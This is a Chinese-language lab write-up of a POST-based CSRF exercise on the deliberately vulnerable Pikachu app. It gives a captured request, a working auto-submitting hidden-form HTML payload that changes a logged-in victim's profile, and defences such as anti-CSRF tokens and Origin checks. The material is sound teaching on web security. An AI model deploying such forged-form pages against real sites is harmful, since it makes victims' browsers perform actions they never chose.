1. 核心考点
- POST 请求的 CSRF:验证了仅仅将请求方法从 GET 改为 POST 并不能防御 CSRF。
- 攻击载体的变化:理解为什么 POST 型无法像 GET 型那样使用
<img>标签或简单的链接直接触发。 - 自动提交表单:学习如何利用 JavaScript 自动提交隐藏表单,模拟用户的 POST 请求。
2. 漏洞复现
2.1 场景与分析
- 场景:攻击者想要修改受害者的个人信息,但这次服务器接口要求使用
POST方法提交数据。 - 抓包分析 :
抓取修改请求发现,参数不再拼接在 URL 后面,而是位于 HTTP Body 中:POST /vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1Host: localhost:8899Content-Type: application/x-www-form-urlencodedsex=girl&phonenum=153..........&submit=submit

2.2 构造 Payload (恶意页面)
由于不能用 URL 传参,我们需要构造一个 HTML 页面,里面包含一个 <form> 表单,将参数预先填入 value,并将 method 设为 POST。
攻击代码 (csrfpost.html):
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<!-- 指向 POST 接口 -->
<form action="http://localhost:8899/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<!-- 隐藏域预填攻击参数 -->
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="15327161353" />
<input type="hidden" name="add" value="china" />
<input type="hidden" name="email" value="12345689@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
// 这里的 pushState 是为了稍微掩盖一下 URL 变化(可选)..
history.pushState('','', '/');
// 核心:页面加载完成后立即触发表单提交
document.forms[0].submit();
</script>
</body>
</html>
2.3 攻击实施
- 攻击者将上述代码部署在自己的服务器上。
- 受害者(已登录状态)访问该恶意页面。
- 脚本自动执行
document.forms[0].submit()。 - 浏览器向 Pikachu 服务器发送 POST 请求(并自动带上受害者的 Cookie)。
- 修改成功。

3. 踩坑与思考 (GET vs POST)
这一关最深刻的体会是 利用门槛的差异:
- GET 型 CSRF:
- 极易利用 :可以是网页里的
<img src="payload">,甚至可以是论坛签名里的一张“图片”。受害者只要 看了一眼 帖子,浏览器尝试加载图片时就发出了 GET 请求,攻击就完成了。 - 隐蔽性极高。
- 极易利用 :可以是网页里的
- POST 型 CSRF:
- 限制:
<img>、<a>、<script src>等标签只能发起 GET 请求,无法发起 POST 请求。 - 必须构造独立页面:攻击者必须诱导受害者跳转到一个包含
<form>的恶意网页。 - 结论 :虽然 POST 增加了攻击的一点点成本(不能在纯文本或图片加载中触发),但只要受害者点开了恶意链接,结果是一样的。 改用 POST 绝不是防御 CSRF 的有效手段。
- 限制:
4. 防御措施
这一关再次印证了防御 CSRF 必须采用专门的机制,而不是依赖 HTTP 方法。
- Anti-CSRF Token (令牌):
这是标准解法。在 POST 表单中生成一个隐藏字段token。<input type="hidden" name="token" value="随机生成的复杂字符串">攻击者在构造trap.html时,无法知道受害者当前的token值是多少,因此构造的表单会被服务器拒绝。 - 验证 Referer / Origin:
对于 POST 请求,检查 HTTP 头部的Origin或Referer是否指向信任的域。如果发现请求是从attacker.com发起的,直接拦截。 - 二次验证 :
对于修改密码、转账等敏感操作,强制要求用户输入原密码或验证码。这能有效阻断自动化的 CSRF 攻击。
正文完